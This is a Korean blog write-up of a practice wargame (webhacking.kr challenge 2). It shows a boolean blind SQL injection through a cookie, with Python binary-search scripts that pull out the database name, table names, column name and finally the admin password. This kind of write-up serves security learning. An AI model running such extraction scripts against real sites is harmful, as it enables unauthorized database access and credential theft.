(webhacking.kr 2번) 해도 해도 헷갈리는 Blind SQLInjection

2022. 10. 11. 16:43·Play/wargame

webhacking.kr 2번 문제를 다시 풀어보며 복습하자.

 

알아야 하는 것: admin 패스워드

아는 것: 주석 내 시간정보

 

1) 현재 DB의 table 수 알아내기

#1

DB명 길이: (select length(database()))

결과: 6

 

#2

DB명 알아내기

노가다 하다가 귀찮아서 코드짰다.

일전에 LOS 풀며 배운 이진탐색 알고리즘 이용했던거.. 활용함.

def db_find():
    length = 6
    db = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            cookie = {
                "PHPSESSID": "세션",
                "time": "ord(substring(database(),{},1))={}".format(i + 1, value),
            }
            print(cookie)
            req = requests.get(url, cookies=cookie)
            if "09:00:01" in req.text:
                db += chr(value)
                break
            else:
                cookie = {
                    "PHPSESSID": "세션",
                    "time": "ord(substring(database(),{},1)) > {}".format(i + 1, value),
                }
                req = requests.get(url, cookies=cookie)
                if "09:00:01" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("db_name: ", db)

 

#3

(select count(table_name) from information_schema.tables where table_schema='chall2')

- table_schema='DB명' 

- 결과: 2

- 참고로 DB명대신 database() 사용해도 된다.

 

2) 두 가지 테이블의 길이 알아내기

#(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

#(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)--

첫번째 테이블: 13 / 두번째 테이블: 3

3글자일리가 없다. 바라지도 말자.

 

3) 테이블명 알아내기

#1

def tb_find():
    length = 13
    tb = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            cookie = {
                "PHPSESSID": "세션",
                "time": "if(ord(substring((select table_name from information_schema.tables where table_schema='알아낸DB명' limit 0,1),{},1))={},1,0)".format(
                    i + 1, value
                ),
            }
            print(cookie)
            req = requests.get(url, cookies=cookie)
            if "09:00:01" in req.text:
                tb += chr(value)
                break
            else:
                cookie = {
                    "PHPSESSID": "세션",
                    "time": "if(ord(substring((select table_name from information_schema.tables where table_schema='알아낸DB명' limit 0,1),{},1)) > {},1,0)".format(
                        i + 1, value
                    ),
                }
                req = requests.get(url, cookies=cookie)
                if "09:00:01" in req.text:
                    start_num = value
                    value = (value + end_num) // 2  # //연산자는 나눗셈의 몫을 가져온다.
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("table_name: ", tb)

어떻게 해야 req.text로 테이블 명을 알 수 있을까 한참 고민했다.

왜냐면 time 쿠키에 if문 사용하는 것을 생각도 못해서....ㅋ 엇쉬 아스키 값으로 시간 나오는데 이걸 어떻게 해야하나 걱정함.

아무튼 해결!

 

4) admin의 pw알아내기

#1

(select count(column_name) from information_schema.columns where table_name='admin_area_pw')

- 결과: 1

- 칼럼이 한개? 말도안돼

 

#2

(select length(column_name) from information_schema.columns where table_name='admin_area_pw')

- 결과: 2

- 2글자? 설마 pw? 그래도 스크립트 짜는 연습 해야한다. 코드짜라.

def column_find():
    length = 2
    col = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            cookie = {
                "PHPSESSID": "세션",
                "time": "if(ord(substring((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1),{},1))={},1,0)".format(
                    i + 1, value
                ),
            }
            print(cookie)
            req = requests.get(url, cookies=cookie)
            if "09:00:01" in req.text:
                col += chr(value)
                break
            else:
                cookie = {
                    "PHPSESSID": "세션",
                    "time": "if(ord(substring((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1),{},1))>{},1,0)".format(
                        i + 1, value
                    ),
                }
                req = requests.get(url, cookies=cookie)
                if "09:00:01" in req.text:
                    start_num = value
                    value = (value + end_num) // 2  # //연산자는 나눗셈의 몫을 가져온다.
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("column: ", col)

 

#3 패스워드 길이 알아내기

(select length(pw) from admin_area_pw)

- 결과: 17

 

#4

코드돌려

def pw_find():
    length = 17
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            cookie = {
                "PHPSESSID": "세션",
                "time": "if(ord(substring((select pw from admin_area_pw limit 0,1),{},1))={},1,0)".format(
                    i + 1, value
                ),
            }
            print(cookie)
            req = requests.get(url, cookies=cookie)
            if "09:00:01" in req.text:
                pw += chr(value)
                break
            else:
                cookie = {
                    "PHPSESSID": "세션",
                    "time": "if(ord(substring((select pw from admin_area_pw limit 0,1),{},1))>{},1,0)".format(
                        i + 1, value
                    ),
                }
                req = requests.get(url, cookies=cookie)
                if "09:00:01" in req.text:
                    start_num = value
                    value = (value + end_num) // 2  # //연산자는 나눗셈의 몫을 가져온다.
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("pw: ", pw)

 

 

성공

 

저작자표시 (새창열림)

'Play > wargame' 카테고리의 다른 글

[LOS] Load of SQLInjection 12번 풀이  (5) 2022.10.25
[LOS] Load of SQLInjection 10번  (0) 2022.10.24
[LOS] Lord of SQLinjection 7번  (0) 2022.10.23
webhacking.kr 6번 - base64  (0) 2022.10.18
[LOS] Lord of SQLinjection 1~4 문풀 정리  (0) 2022.10.04
'Play/wargame' 카테고리의 다른 글
  • [LOS] Load of SQLInjection 10번
  • [LOS] Lord of SQLinjection 7번
  • webhacking.kr 6번 - base64
  • [LOS] Lord of SQLinjection 1~4 문풀 정리
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    뉴스요약
    IT뉴스
    리버싱초보
    혼공학습단
    정보보안교육
    파이썬
    혼공
    커널디버깅
    정보보호
    리버싱
    공급망공격
    자바스크립트 상속
    kisa
    정보보안
    보안이슈
    파이썬공부
    드림핵리버싱
    파이썬초보
    파이썬입문
    windows internals
    악성코드
    혼공단
    혼자공부하는파이썬
    보안뉴스
    it이슈
    랜섬웨어
    윈도우인터널스
    혼공파
    jwt
    프로세스
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
(webhacking.kr 2번) 해도 해도 헷갈리는 Blind SQLInjection
상단으로

티스토리툴바